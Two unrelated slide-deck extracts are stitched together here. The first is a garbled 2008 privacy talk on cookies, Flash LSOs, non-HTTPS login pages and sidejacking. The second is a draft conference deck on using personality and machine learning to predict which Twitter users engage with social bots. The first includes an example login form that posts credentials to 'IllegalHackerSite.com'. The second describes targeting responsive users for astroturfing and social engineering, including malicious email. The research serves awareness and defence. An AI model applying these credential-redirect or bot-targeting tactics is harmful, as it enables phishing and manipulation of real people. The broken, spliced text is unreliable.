LSOs?
 •  What
else
should
I
do
differently?
 HTTP
Cookies
Are
Well
Understood
 It’s
2008,
everyone
knows
about
“cookies”.
 IETF
standards:
 •  HTTP/1.1
:
RFC
2616
 •  HTTP
Cookies:
RFC
2109
 Let’s
take
a
look
at
that…
 Web
Browser
Sends
This…
 GET
hPp://www.google.com/
HTTP/1.1
 User‐Agent:
Mozilla/5.0
(Macintosh;
U;
Intel
Mac
OS
X
10_5_3;
 en‐us)
AppleWebKit/525.18
(KHTML,
like
Gecko)
Version/3.1.1
 Safari/525.20
 Accept‐Encoding:
gzip,
deflate
 Accept:
text/xml,applicaKon/xml,applicaKon/xhtml+xml,text/ html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
 Accept‐Language:
en‐us
 Host:
www.google.com
 ConnecKon:
close
 Web
Server
Replies
With
This…
 HTTP/1.0
200
OK
 Cache‐Control:
private,
max‐age=0
 Date:
Thu,
26
Jun
2008
04:18:25
GMT
 Content‐Type:
text/html;
charset=UTF‐8
 Set‐Cookie:
PREF=ID=a2bce[…]


keep
this
in
mind
for
next
slide
 domain=.google.com
 Content‐Encoding:
gzip
 Server:
gws
 Content‐Length:
2654
 …
 Web
Browser
Subsequently
Sends
This…
 GET
hPp://www.google.com/favicon.ico
HTTP/1.1
 User‐Agent:
Mozilla/5.0
(Macintosh;
U;
Intel
Mac
OS
X
10_5_3;
en‐us)
 AppleWebKit/525.18
(KHTML,
like
Gecko)
Version/3.1.1
Safari/525.20
 Referer:
hPp://www.google.com/
 Accept:
*/*
 Accept‐Language:
en‐us
 Accept‐Encoding:
gzip,
deflate
 Cookie:
PREF=ID=a2bce[…]



value
that
server
gave
us
in
previous
slide
 Host:
www.google.com
 ConnecKon:
close
 Browsers
Let
You
Manage
Cookies
 Set
cookie
acceptance/expiraKon
policy.
E.g.,
Firefox
3:
 Browsers
Let
You
Manage
Cookies
 Clear
all
private
data
upon
demand:
 Web
Proxies
Can
Filter
HTTP
Cookies
 Privoxy
is
a
filtering
web
proxy.
 Flexible
filtering
rules,
cookies
included.
 Strip
out
cookies,
allow
cookies
for
certain
sites.
 See
also:
hPp://privoxy.org
 Adobe’s
Alternate
Cookie
System
 •  Adobe
Flash
uses
Local
Shared
Objects
to
keep
 persistent
session
state,
similar
to
HTTP
cookies.
 •  Most
all
browsers
include
the
Adobe
Flash
plug‐in.
 •  LSOs
are
not
cleared
when
you
clear
your
HTTP
 Cookies.
 •  Web
browsers
don’t
know
how
to
manage
them.
 •  By
default,
they’re
there
unMl
you
explicitly
clear
 them.
 This
Doesn’t
Affect
Adobe
LSOs
 This
Doesn’t
Manage
LSO
Either
 Companies
Are
ExploiKng
This
 Company
Bypasses
Cookie‐DeleMng
Consumers
 InformaKonWeek
arKcle
by
Antone
Gonsalves,
3/31/05
 “United
VirtualiKes
is
offering
online
marketers
and
publishers
technology
that
aPempts
to
 undermine
the
growing
trend
among
consumers
to
delete
cookies
planted
in
their
 computers.The
New
York
company
on
Thursday
unveiled
what
it
calls
PIE,
or
persistent
 idenKficaKon
element,
a
technology
that's
uploaded
to
a
browser
and
restores
deleted
 cookies.
In
addiKon,
PIE,
which
can't
be
easily
removed,
can
also
act
as
a
cookie
backup,
 since
it
contains
the
same
informaKon.”
 hPp://www.informaKonweek.com/news/security/privacy/showArKcle.jhtml? arKcleID=160400801
 How
Do
I
Fix
This?
 •  You
actually
can
manage
LSOs.
 •  Adobe’s
web
site
describes
how:
 hPp://www.macromedia.com/support/ documentaKon/en/flashplayer/help/ sewngs_manager.html
 •  In
parKcular…
 Sewng
LSO
Acceptance
Policy
 Visit
this
URL,
which
has
a
flash
app:
 hPp://www.macromedia.com/support/documentaKon/en/flashplayer/help/sewngs_manager03.html
 Clearing
LSOs
 Manually
delete
LSOs
by
visiKng
this
URL:
 hPp://www.macromedia.com/support/documentaKon/en/flashplayer/help/sewngs_manager06.html
 Not
Easy
To
Filter
LSOs
 •  LSOs
are
stored
by
Flash
browser
plug‐in.
 •  Protocol
format
between
plug‐in
applicaKon
 and
server
is
proprietary.
 •  Let’s
take
a
look.
 Logging
In
With
A
Flash
App
 POST
hPp://[…]/xmlrpc/[…]
HTTP/1.1
 User‐Agent:
Mozilla/5.0
(Macintosh;
U;
Intel
Mac
OS
X
10_5_3;
en‐us)
AppleWebKit/ 525.18
(KHTML,
like
Gecko)
Version/3.1.1
Safari/525.20
 Content‐Type:
text/xml
 Referer:
hPp://[…]/
 Accept:
*/*
 Accept‐Language:
en‐us
 Accept‐Encoding:
gzip,
deflate
 Cookie:
[…]
 Content‐Length:
480
 Host:
[…]
 ConnecKon:
close
 aeab4a7053[…]

proprietary
encoding,
may
contain
LSO
data
 Response
From
Server
 HTTP/1.0
200
OK
 Date:
Fri,
27
Jun
2008
02:49:05
GMT
 Server:
JePy/5.1.14
(Linux/2.6.18‐6‐amd64
amd64
java/1.5.0_14)
 Content‐Type:
text/xml
 Content‐Length:
7164
 <?xml
version="1.0"
encoding="UTF‐8”?>
[…]
 •  Proprietary
content;
not
easy
to
filter.
There
isn’t
a
clean,
clear
 “Cookie”
header
that
Privoxy
can
look
for.
 Other
Public
Service
Announcements

 Okay,
I
can
manage
Adobe
LSOs.
What
else
 should
I
watch
out
for?
 What’s
wrong
here?
(As
of
June
2008)
 Hint

 From
hPp://www.wamu.com/personal/default.asp
:
 <form
acKon="hPps://online.wamu.com/[...]"
 method="post"
>
 
 ...

 
 <input
class="usernamefield"
type="text"
[...]>

 
 
<input
class="passwordfield"
type="password"
[...]
>
 
 …
 </form>
 Login
Pages
Need
SSL
Too!
 •  HTML
Form
submits
to
HTTPS
URL,
but…
 •  Gewng
the
login
page
over
HTTP
(not
HTTPS)
 doesn’t
guarantee
anything
about
the
 integrity
of
the
login
page.
 •  It
could
have
been:
 <form
acKon="hPps://IllegalHackerSite.com/ [...]"
method="post"
>
 •  See
also:
“CriMcal
Mistake
#1:
Non‐HTTPS
Login
page”
 hPp://blogs.msdn.com/ie/archive/2005/04/20/410240.aspx
 What’s
Wrong
With
This?
(June
2008)
 HTTP
Cookie
Sent
Without
EncrypKon
 •  On
private
trusted
networks,
that’s
not
a
big
deal.
 •  But
on
public
Wi‐Fi
networks,
everyone
can
see
it
 and
impersonate
you!
 See
also:
 •  Robert
Graham’s
talk
at
BlackHat
2007,
“Web
2.0
 Hijacking”.
 •  hPp://en.wikipedia.org/wiki/Sidejacking
 Suggested
Fix
 For
Google
Mail:
 use
hWps://gmail.google.com
 not
hPp://gmail.google.com
 Your
enKre
session
will
be
SSL
encrypted
a}er
login.
 Yahoo,
Hotmail:
No
known
soluKon
(that
I
know
of).
 Email
me
if
you
know
a
soluKon
for
this.
 Summary
 •  Manage
your
Flash
LSO
sewngs.
 •  Don’t
use
a
login
page
if
the
URL
is
“hPp”
 instead
of
“hPps”.
 •  Use
email
services
that
offer
SSL
for
all
traffic.
pdf
Slide 1 Note: The following slides (and speaker notes) are in draft format. Final presentation slides will be made available after both BlackHat and DEF CON. The most significant changes will be in the Machine Learning section. This deck includes results based on Nearest Neighbour (Weka’s NNge algorithm). The final deck will change to take into account additional data and alternative models. Slide 2 Predicting Susceptibility to Social Bots on Twitter Chris Sumner & Dr. Randall Wald [email protected] & [email protected] Welcome to ‘Predicting Susceptibility to Social Bots on Twitter’ . I’m Chris Sumner, representing the Online Privacy Foundation and I’m joined by Dr. Randall Wald from Florida Atlantic University. Before we begin, I want to ensure that people are aware of what the talk is and isn’t. What’s in it for you - Discuss some research in this area - Social Bots – links to code - Introduction to simple bots to play with - Human Behaviour Psychology - Look at what makes some people do things which other people think are dumb. - Data Mining & Machine Learning - How to collect & analyze data - Implications for security awareness training Slide 3 TP TL;DR TP FP TP TP TP TP FP Targeted Spray & Pray We examined the performance of a ‘Spray & Pray’ approach to unsolicited social interaction versus a Targeted approach using Machine Learning and the results will look a little like this. Slide 4 Anyone know who this guy is?.... It’s Tim Hwang…. Slide 5 And back in early 2011 I’d stumbled upon this fascinating and amusing competition which he hosted with the Web Ecology Project… ….it was described as… References: - 5 minute video overview - http://ignitesanfrancisco.com/83e/tim-hwang/ - http://aerofade.rk.net.nz/?p=152 • Instantly go out and follow all 500 of the target users • every 2-3 hours, tweet something from a random list of messages. • constantly scan flickr for pictures of "cute cats" from the Cute Cats group and blog them to James' blog "Kitteh Fashun" - (which auto tweets to James' twitter timeline) • 4 secondary bots following the network of the 500 users and the followers of the targets to test for follow backs (and then getting James to follow those that followed back, once per day) - we believed that expanding our own network across mutual followers of the 500 would increase our likely hood of being noticed (through retweets or what have you from those who were not in the target set. Slide 6 “It’s blood sport for internet social science/network analysis nerds.” ….‘blood sport of internet social science/network analysis nerds’. Tim and the Web Ecology team had… Slide 7 500 targets …selected 500 targets who all liked cats (the animals, not the musical) Slide 8 Points +1 Mutual Follows +3 Social Response -15 Killed by Twitter 3 teams took part and were given those same 500 unsuspecting users to target. The teams gained 1 point for a follow back, 3 points for some response and they lost 15points if they got suspended. Slide 9 Team Emp 701 Points 107 Mutual Follows 198 Social Response 2 weeks later… @AeroFade The winning team achieved 701 points, 107 mutual follow backs and 198 social responses. You can check out @AeroFade’s Twitter and his blog. Slide 10 To date, most research has focus on how to identify bots, less research has looked at the other side of the question – detecting users likely to be fooled by bots, something which is important in helping raise awareness and seek solutions.…. http://www.satc-cybercafe.net/presenters/ http://www.satc-cybercafe.net/wp- content/uploads/2012/10/NSF.jpg Slide 11 …So while we were conducting our 2012 study into Twitter usage and the Dark Triad of personality, we figured we’d incorporate a side project to look at social bots and, as an organization, attempt to answer couple of questions…. Slide 12 Are some users more naturally predisposed to interacting with strangers (in this case social bots)? i.e. Are some users more naturally predisposed to interacting with strangers (social bots) than others? (Does personality play a part?) Slide 13 Is it possible to increase the odds of getting a response from a twitter user? …and is it possible that social bot creators could use machine learning to better target users who are more likely to response. Slide 14 ….thereby (the thinking goes) reducing the chances of landing in Twitter Jail (account suspension). Slide 15 Who Cares? The obvious questions are….1) who cares and 2) aren’t you giving the bad guys an idea. 3) what’s this got to do with privacy. .. we’ll look at these in greater depth, but… Slide 16 “If it can be measured, it can be manipulated” ..we’ll look at these in greater depth, but one area which always attracted unscrupulous actors (think BlackHat SEO – search engine optimisation) are marketeers. Not *ALL* marketeers though. Initially they wanted your ‘likes’, but since that doesn’t necessarily translate to a purchase (because that was easy to game with social bots), they’re being requested to create ‘engagement’. Slide 17 …and of course Propagandists. Slide 18 The privacy implications are nicely described in this recent paper by Erhardt Graeff. Slide 19 ..conversely, existing social media sites are getting much better at detecting bots so part of an effective bot strategy is reducing the chances of ending up in Twitter jail. Slide 20 So set to work, or rather our bots did. Slide 21 Contents/Flow • History & Current Research • Experiment & Method • Findings • Conclusions The rest of the talk flows like this. Slide 22 Socialbots “A socialbot is a piece of software that controls a user account in an online social network and passes itself of as a human” (Wagner et al) Wagner et al (2012)” Wagner et al define these as a piece of software that controls a user account in an online social network and passes itself of as a human. The socialbot M.O. is to (1) make friends, (2) gain a level of trust, (3) influence The success of a Twitter-bomb relies on two factors: tar- getting users interested in the spam topic and relying on those users to spread the spam further. (http://journal.webscience.org/317/2/websci1 0_submission_89.pdf) • Sybils - The Sybil Attack (Doucer, 2002) • SockPuppets - an online identity used for purposes of deception (see also, Persona Management) Slide 23 Bots aren’t new, Chatterbots featured in research around 1994. In this talk we’re really examining bots in social media, which for the sake of argument, we’ll split into 1st Generation and 2nd Generation bots… Slide 24 Popularity Photo Credit : http://mashable.com/2009/04/01/social-media-cartoon-the-twitter-follower-bots/ Early bots tend to be all about making you look popular (with fake followers). These are still hugely popular and according to a recent NY Times article, remain a lucrative business, but ultimately they’re pretty dumb. http://bits.blogs.nytimes.com/2013/04/05/fak e-twitter-followers-becomes-multimillion- dollar-business/ Slide 25 Spam …then there’s good old-fashioned spam…. @spam: The Underground on 140 Characters or Less (Grier, 2010) http://imchris.org/research/grier_ccs2010.pdf Slide 26 Keyword aware ..some bots are all about humour… Slide 27 …and in the case of @AI_AGW, some respond to climate change deniers… These are all pretty basic and remain prevalent today. Slide 28 In 2008 we see the first (Publicly at least) manifestation of a social bot on Twitter. Project Realboy plays with the concept of creating more believable bots. Here’s what they did…. This is around the same time that Hamiel and Moyer shared their talk “Satan Is On My Friends List” highlighting that some of your social media friends may be imposters. We saw another example of that in the 2010 ‘Robin Sage’ talk at Blackhat. Project Realboy by Zack Coburn & Greg Marra - http://ca.olin.edu/2008/realboy/ Slide 29 Virtual Plots, Real Revolution (Temmingh and Geers - 2009) “For example, in the week before an election, what if both left and right-wing blogs were seeded with false but credible information about one of the candidates? It could tip the balance in a close race to determine the winner” Things get a bit more sinister in 2009. A 2009 paper by Temmingh and Geers (Roelof Temmingh of Sensepost/Paterva/Maltego fame) states “For example, in the week before an election, what if both left and right-wing blogs were seeded with false but credible information about one of the candidates? It could tip the balance in a close race to determine the winner”. Source: R Temmingh http://www.ccdcoe.org/publications/virtualbat tlefield/21_TEMMINGH_Virtual%20Revolution %20v2.pdf Slide 30 V 1 year later… …and in 2010 (if not earlier) we see it play out for real. “Four days before the 2010 special election in Massachusetts to fill the Senate seat formerly held by Ted Kennedy, an anonymous source delivered a blast of political spam. The smear campaign launched against Democratic candidate Martha Coakley quickly infiltrated the rest of the election-related chatter on the social networking service Twitter. Detonating over just 138 minutes, the “Twitter bomb” and the rancorous claims it brought with it eventually reached tens of thousands of people.”…. Source - http://www.sciencenews.org/view/feature/id/ 345532/description/Social_Media_Sway Some notes “A single change in the decision to vote can affect many individuals….Because…. there are competing effects between the decay of influence and the growth in the number of acquaintances…….. But as people hang out with like minded individuals… cascades will not be zero sum So the decision of a single individual to vote has a substantially larger impact than what an atomized theory of individuals might say….. “ Truthy: Mapping the Spread of Astroturf in Microblog Streams Detecting and Tracking Political Abuse in Social Media “…Here we focus on a particular social media platform, Twitter, and on one particular type of abuse, namely political astroturf — political campaigns disguised as spontaneous “grassroots” behavior that are in reality carried out by a single person or organization. This is related to spam but with a more specific domain context, and potentially larger consequences.” Sep. 28, 2010 — Astroturfers, Twitter-bombers and smear campaigners need beware this election season as a group of leading Indiana University information and computer scientists have unleashed Truthy.indiana.edu, a sophisticated new Twitter-based research tool that combines data mining, social network analysis and crowdsourcing to uncover deceptive tactics and misinformation leading up to the Nov. 2 elections. http://www.sciencedaily.com/releases/2010/0 9/100928122612.htm Also - http://cs.wellesley.edu/~pmetaxas/How- Not-To-Predict-Elections.pdf Slide 31 Swift-Boating …this type of campaign has a name, Swiftboating – “The term swiftboating (also spelled swift-boating or swift boating) is an American neologism used pejoratively to describe an unfair or untrue political attack. The term is derived from the name of the organization "Swift Boat Veterans for Truth" (SBVT, later the Swift Vets and POWs for Truth) because of their widely publicized[1] then discredited campaign against 2004 US Presidential candidate John Kerry” (Wikipedia – 26th March 2013) Slide 32 Photo Credit : http://www.guardian.co.uk/world/2012/feb/07/hacked-emails-nashi-putin-bloggers and allegedly, prior to the 2012 Russian Presidential elections, a pro-Kremlin organization reportedly paid hundreds of thousands of $’s to network of internet users to help political cause by creating flattering coverage on Vladamir Putin. An article in the Economist describes the Russian smear campaigns as reaching “farcical levels”, http://www.economist.com/blogs/easternappr oaches/2012/02/hackers-and-kremlin http://www.themoscowtimes.com/news/articl e/campaign-mudslinging-taken-to-new- lows/452583.html Source - http://www.guardian.co.uk/world/2012/feb/07 /hacked-emails-nashi-putin-bloggers Slide 33 Astroturfing “It could tip the balance in a close race to determine the winner” (Temmingh & Geers, 2009) This is a little different to Swift-boating in that it’s generally not a smear campaign…Astroturfing - refers to political, advertising or public relations campaigns that are designed to mask the sponsors of the message to give the appearance of coming from a disinterested, grassroots participant. Slide 34 …This is essentially what gave rise to Truthy, a project started at Indiana University to “The Truthy system evaluates thousands of tweets an hour to identify new and emerging bursts of activity around memes of various flavors.”… “We also plan to use Truthy to detect political smears, astroturfing, misinformation, and other social pollution” - http://live.wsj.com/video/the-truthy- project-ferrets-out-online- deception/219A2EA6-4D22-4F5B-8D96- 81AF342104F7.html#!219A2EA6-4D22- 4F5B-8D96-81AF342104F7 – BBCQT http://truthy.indiana.edu/movies/show/1264 “A well-functioning democracy requires accountability and trust…” Slide 35 And in 2011, it was revealed that the US were exploring fake persona’s. The anonymous attack on HBGary exposed emails discussing such use cases… Slide 36 “A large virtual population, scattered all over the world and encompassing different socioeconomic backgrounds, could be programmed to support any personal, social, business, political, military, or terrorist agenda.” (Temmingh & Geers, 2009) So it seemed that Temmingh and Geer’s future looking paper had it pretty much right - “In 2009, hackers steal data, send spam, and deny service to other computers. In the future, they may also control virtual armies, in the form of millions of artificial identities that could support any personal, business, political, military, or terrorist agenda.” Which leads us to more recent developments and a couple of things Tim Hwang is working on… http://www.ccdcoe.org/publications/virtualbat tlefield/21_TEMMINGH_Virtual%20Revolution %20v2.pdf Slide 37 I already mentioned the Web Ecology project. On the back of that, Tim created an organization called Pacific Social to explore social networks a little further. Slide 38 Bridge Building Social Bridge Building One thing they noticed with the Web Ecology project was that social bots can distort the social graph, so they’re examining whether it’s possible to use an army of social bots to stitch two separate online communities together… Slide 39 Emotional Contagion …They’re also interested in exploring whether bots can influence peoples moods. We know this is possible in offline contexts, but far less is known about this phenomena online. The implications of this may mean that it may become possible to take a perfectly happy group (for arguments sake, using sentiment analysis to measure this)… Happiness - http://www.mitpressjournals.org/doi/abs/10.1 162/artl_a_00034 Slide 40 ..embedded a couple of bots that starts being a little more miserable (or Happy).…and look at how that permeates through the social graph Happiness - http://www.mitpressjournals.org/doi/abs/10.1 162/artl_a_00034 Slide 41 ….making more and more users a little less happy Slide 42 ….until a reasonable chunk of the social graph are less happy. Slide 43 Social Penetration Testing • Spread information with small inaccuracies • See where they’re challenged & where they’re not challenged • Identify who’s most influential but worst at evaluating what is real • Target them And finally he highlighted the potential for Social Penetration Testing. Slide 44 It would be remise of me, not to mention Yazan Boshmaf from the Uni of British Columbia. Yazan and team investigate social bots on Facebook which generated a number of headlines (you can watch the Usenix 2012 video)... Slide 45 “To this end, we are currently investigating two directions from the defense side. The first involves understanding the factors that influence user decisions on befriending strangers, which is useful in designing user- centered security controls that better communicate the risks of online threats.” Boshmaf et al (2012) As Yazan and team state. ‘understanding the factors that influence user decisions on befriending strangers’. Design and Analysis of a Social Botnet http://lersse- dl.ece.ubc.ca/record/277/files/COMNET_Social bots_2012.pdf Slide 46 Understanding User Behaviour Secure & Trustworthy Cyberspace Insider Threat Project Understanding User Behaviour is also something which the folks are the Secure & Trustworthy CyberSpace program (in the US) are examining and the Insider Threat project at Oxford Uni …so understanding more about human behaviour, the signs to look for and how bots (and other humans) can exploit them, is a worthwhile question to explore. Indeed, “Understanding and accounting for human behavior” is recognized in one of the 5 key areas in Secure & Trustworthy Cyberspace (SaTC) Scalability & compatibility Policy generated secure collaboration Security metrics driven education, design, dev, deployment Resilient architectures Understanding and accounting for human behavior http://www.satc-cybercafe.net/presenters/ http://www.satc-cybercafe.net/wp- content/uploads/2012/10/NSF.jpg Slide 47 Sybil Nodes and Attack Edges honest nodes Sybil nodes - Edges to honest nodes are “human established” - Attack edges are difficult for Sybil nodes to create Attack Edges Source: SybilGuard: Defending Against Sybil Attacks via Social Networks, (Haifeng Yu, Phillip B. Gibbons, and Suman Nath) Spray & Pray may be (& remain) effective enough, but sending out Pawns to prod a target may only be effective for so long as the lead bot will likely be associated with suspended accounts (eventually). Slide 48 Slide 49 …so it’s a good bet that bot creators will find targeting users who’ll quite literally talk to anyone or anything, to be a very attractive prospect.… Slide 50 Wagner et al (2012) Precision .74 Recall .70 Features: • Friends (out-degree) • Conversational Variety • Conversational Coverage Features: • Language • Followers • Xxxx …and there’s some form in this respect. Wagner et al have conducted research most closely to ours. They looked at the Twitter attributes responsible for user interaction in the Web Ecology project. They found…. …we essentially repeated and extended this study by additionally looking at personality and also deploying a number of Proof of Concept experiments. Slide 51 Method Slide 52 610 Participants We had roughly 600 participants who agreed to take part in a mystery experiment. Slide 53 For each user, we obtains twitter information, klout score and personality traits. Slide 54 Bota Botb We divided participants into two groups to speed up processing. Each group had a bot assigned to it (bots were the same) Slide 55 Bot Design We used the Social Ecology Project’s winning bot model. (Available under MIT license). We rewrote and slightly modified it in python. (we intend to make it available via GitHub). Slide 56 Bot Architecture Targets.csv Interactions.csv questions.txt (This slide will build) Initially, and to provide some credibility, each bot • started of by following some standard celebrity and news accounts. • built up a thin veneer of authenticity by populating a Word Press blog with pictures of dogs in knitted clothes. • commented that the weather was pleasant if it reach a certain temperature in a sea side town in the UK. • Tweeted something random After a couple of days, each bot would start following each of the participants in its list of targets (while continuing with the bot generated tweets about dogs and the weather). Once all targets had been followed, the bot would ask each participant an innocuous question and record whether there was a response. We used… Slide 57 Random Tweets • Do you love twitter as much as me? • I've got all my own teeth you know • toooo cute my dog is haha - am i yoda? haha i talk like him! This tweet from the Web Ecology bot gave me a real chuckle. “...i aint tellin no lies even a thug ladii cries but i show no fears i cry gangsta tears...”. FWIW, we removed tweets with expletives. Slide 58 162 Unique Questions • Ever milked a cow? • What's better? Dog or cat? • What super powers do you have or wish you had? 162 unique questions, such as… Slide 59 Ever Milked a Cow? Slide 60 …and added an ELIZA engine to keep conversation going. (The Social bots, bot had a list of standard replies, we made ours a little more context aware). ELIZA—a computer program for the study of natural language communication between man and machine (Weizenbaum, 1966) Rogerian psychotherapist Rogers, Carl (1951). "Client-Centered Therapy" Cambridge Massachusetts: The Riverside Press. Slide 61 Example Responses r’Hello(.*)’ Hey, how is your day going so far? Slide 62 Example Responses Interesting! r’I think(.*)’ lol that's what she said :P Slide 63 Ethics If you ask anyone researching social bots about ethics, you’ll get a similar response. It’s difficult. A simple tweet could cause someone to have a really bad day or worse. Look at this interaction that the social bots winner had regarding a deceased cat. British Psychological Society – Code of Human Research Ethics - http://www.bps.org.uk/sites/default/files/docu ments/code_of_human_research_ethics.pdf “In accordance with Ethics Principle 3: Responsibility of the Code of Ethics and Conduct, psychologists should consider all research from the standpoint of the research participants, with the aim of avoiding potential risks to psychological well-being, mental health, personal values, or dignity.” Slide 64 Finally, we did NOT attempt to get users to click links because… – A) It would have been a step too far. – B) We wanted to remain as close as possible to the Web Ecology bot, which was beginning to be studied/re searched in academia. As security people, you might argue that we missed a trick here. Yes we did, but deliberately. Slide 65 Results & Statistical Findings In the section we’ll focus more on the personality traits related to responding, in the following section on machine learning, we’ll look at features (as, a botmaster would likely be looking at features, not personality) Slide 66 Performance (Spray & Pray) 124 responses from 610 Slide 67 Performance Points Any interaction 124 Follow back 39 39 Reply/Fav/RT 85 Number Replies 142 426 Suspensions 1 -15 Points 450 Slide 68 Unexpected Trolling Events @User Using no more that 10 nouns, and ONLY nouns, describe yourself @Sybil facetious **** **** **** **** **** **** **** **** annoying @User How do you feel when you say that? Slide 69 @User That’s kind of awful @Sybil what is? @User Why do you ask my dear? @Sybil Apparently something I said was “kind of awful”, care to elaborate homegirl? Slide 70 @User What do you do for a living? @User You’re right, and when you’re right, you’re right! @Sybil You’re a bot aren’t you? @Sybil I plan, guide and help others writing software for administrative organizations, and concieve the software the orgs need “Granny failing Turing Test after 1 exchange!” Tsk Tsk. The singularity is still a fair way off @Sybil Slide 71 Interesting Relationships Slide 72 Extraversion Out of all the personality traits, extraversion played the most important part, although the significance was very small. This could be due to the small personality test we used or that certain aspects of extraversion play a part, aspects which not all extraverts share. Slide 73 Not so surprising… “introverted students tend to hesitate before they take action, extroverts act without any hesitations at all” 1 http://www.tojet.net/articles/v7i2/725.pdf Slide 74 Klout score… Slide 75 Friends & Followers Slide 76 So what? So what?, While twitter attributes look like good candidates for Machine Learning (we’ll get to that in a moment), personality also has implications. Slide 77 eLearning eLearning is ubiquitous in the corporate environment, but research suggests that learners with higher levels of extraversion perform better when they have greater levels of control over the learning experience. i.e. it’s not a click through exercise. If social media security awareness is proven the be effective, then it’s likely that the effectiveness can be further improved by tailoring learning based on the personality of the learner. Slide 78 Machine Learning NOTE: Please note that this section will change prior to the presentation date. This deck includes results based on Nearest Neighbour (Weka’s NNge algorithm). The final deck will change to take into account additional data and alternative models. …On the second part of the question... “Is it possible to increase the odds of getting a response from a twitter user?”… since there are relationships, this is a good candidate for machine learning. Slide 79 Baseline - Spray & Pray TP FP TN Precision = 20.2% N = 610 FN Our baseline performance is roughly 80/20, with a 123 hits and 487 misses. This is pretty consistent with other studies and observations. Slide 80 Baseline - Spray & Pray TP FP Precision = 20.2% N = 610 TN FN It might be reasonable to suggest that non- responders might get rather frustrated by unsolicited requests… Slide 81 ….ultimately resulting in account suspension. Twitter jail. From a machine learning perspective, we want our bots to avoid frustrating the 80% of non-responders (sure, in time bots will do better at engaging them, but for now we focus on low-hanging fruit). Slide 82 TN Perfection TP Precision = 100% N = 610 FP FN Perfect would look like this. With all twitter users in our sample accurately classified. Our goal is really to minimize the FP’s and maximize the TP’s. Slide 83 Slide 84 The first challenge is the address the class imbalance (see the red bar on this screenshot). That is, more people are likely to ignore our bot than to interact with it. We used the Weka tool and employed the preprocessing filter, SMOTE to oversample the minority class (users who DO interact with our bot). Slide 85 …here’s the result of using SMOTE (see the minority class increase). Slide 86 We then found that Weka’s NNge (a nearest neighbor like algorithm) provided the most attractive performance for our needs. We set it up with G at 25. Slide 87 To create a model, we used 10 fold cross- validation, which gave of a precision of .71 on the “interacted” class. Slide 88 Test/PoC Set • 48 people Slide 89 Est. Performance TP FP FN TN Precision = 71% N = 58 (After SMOTE) 4 9 10 35 The predicted performance (in Weka) looks like this, but we have to acknowledge that the minority class (represented by TP and FN) is double the size that it otherwise would be due to the SMOTE we applied in pre-processing. Slide 90 Estimated Performance TP FP FN TN Precision = 54.8% N = 48 (Estimate) 4 4 5 35 By halving the minority class we see that the precision would suffer. NOTE. Simply halving the minority class really isn’t a good idea, but in this case is used to provide some general perspective/a crude estimate of anticipated performance. Slide 91 We took this a step further with a 3rd group of participants and conducted a Proof of Concept. We picked 49 further volunteers (It was 50, but they subsequently left twitter). Here’s the actual performance. The precession takes a hit as we’d predicted. Slide 92 Actual Performance in PoC TP FP FN TN Precision = 44.4% N = 48 5 4 7 32 The size of TNs is large, but since we’re not trying to interact with them, we reduce the chance of getting ignored, or suspended by a sizeable chunk. This is pretty close to the performance in our test sets. Slide 93 TP Performance Comparison TP FP TP TP TP TP FP Targeted Spray & Pray 5 4 11 37 Slide 94 Future Work: Ranking targets on probability of a response 0 20 40 60 80 100 120 a b c d e f g h i j k l m n In terms of use by social bots, we envisage that bot owners will increasingly prioritize who they target based on a variety for attributes and cues. Slide 95 Conclusions Slide 96 So what? So what? Firstly, this work is really based on the premise that the days are numbers for the ‘spray & pray’ approach to getting users to engage/interact with a social bot (or indeed a human). i.e. Social Bot creators will need to be less noisy to avoid account suspension. Assuming this, we considered a number of use cases. I’ll highlight (briefly) five of them. Slide 97 #1 AstroTurfers and their ilk #1. AstroTurfers and their ilk: Finding users who are most likely to help propagate your message or at the very least, give credence to the bot account. Slide 98 #2 Marketeers/Salespeople #2. Marketeers: Marketeers who are looking to get a higher klout (kred etc) score for their brand might be able to focus on users who are more likely to interact (or engage) with them. This might be a useful strategy for the early stages of building a brand (fake or otherwise), but it could also mean that some users are deluged with far more spam than others. Slide 99 #3 Social Engineers #3. Social Engineering Assignments: Since the most predictive features (klout score, number of friends/follows) are easily obtained through API calls, this makes it very easy to build/model in Maltego. Here we can see @Alice’s imaginary Twitter friends. A simple Maltego local-transform could be used to flag users who are more likely to engage in conversation, which might prove use for Social Engineers looking for weaker points in a social graph. E.g. You know the Twitter accounts of users in AcmeCorp and want to highlight the one’s who maybe most likely to talk to you. The red icons are the users to focus on. One approach here would be to build one or more trust relationships with the “red” users before…. Slide 100 #3 Social Engineers …convincing the target to accept an email from you with malicious content. In this scenario, it seems that it would make sense to generate less noise and focus on the users where the odds of a reply are better. Slide 101 All of these have privacy implications, so how might social network providers and their users respond? All of these have privacy implications, so how might social network providers and their users respond? Slide 102 #4 Useable Security #4 Social Network Providers: Knowing more about how different users behave *may* help in the design of usable security controls on Social Network platforms, warning users when they might be getting “gamed”. The Truthy project at Indiana University is already like to provide so important thinking in this context. Slide 103 #5 Training #5 Training : (as previously mentioned) this work suggests that differing human behaviour/personality traits need to be considered in the creation/execution of training material. This isn’t to say training is ineffective, but it does say that it’s reasonable to hypothesize that current corporate training isn’t tailored to the people who need it the most (those higher in extraversion). It may also be possible for users to become more self-aware. E.g. Am I extroverted? If I am, then maybe I need to check who I’m interacting with, with a little more rigour. Slide 104 Limitations • Basic study in that we didn’t attempt to get users to click on links (as a real scammer would) • Each user got a different question • As the experiment progressed, each bot had more followers and interactions and therefore maybe more/less credibility • Basic measures of personality TIPI Now there were a number of limitations… Slide 105 Future Research Opportunities • Likely focus on more detailed Big 5 factors • Cognitive Reflective Test (or other measures of impulsivity) • Focus on target-centric approach. i.e. bots need to engage the target on a topic the target is interested in. Bot needs to “fit in” to the group. Slide 106 It’s not all negative • Intelligent Agents can be used for positive actions two. For example, a popular dating site, besieged with dating bots, deployed it’s own bots and now has a subsection of it’s site where bots flirt with other bots. Slide 107 “Illustrations from the Turing Test and Blade Runner suggest that sufficient interactivity with a computer should reveal that it is not human.” Temmingh & Geer’s 2009 It’s fitting that we end with Temmingh & Geer’s 2009 paper for the current best defenses for users… “For the foreseeable future, individual Web users must improve their own ability to evaluate threats emanating from cyberspace [9]. In most cases, the key is credibility. Illustrations from the Turing Test and Blade Runner suggest that sufficient interactivity with a computer should reveal that it is not human.” Slide 108 The End… Slide 109 Network Features • 3 directed networks: Follow, retweet and interaction (retweet, reply, mention and follow) network • Hub and Authority Score (HITS) – High authority score node has many incoming edges from nodes with a high hub score – High hub score node has many outgoing edges to nodes with a high authority score • In-degree and Out-degree • Clustering Coefficient – number of actual links between the neighbors of a node divided by the number of possible links between them Wagner et al Slide 110 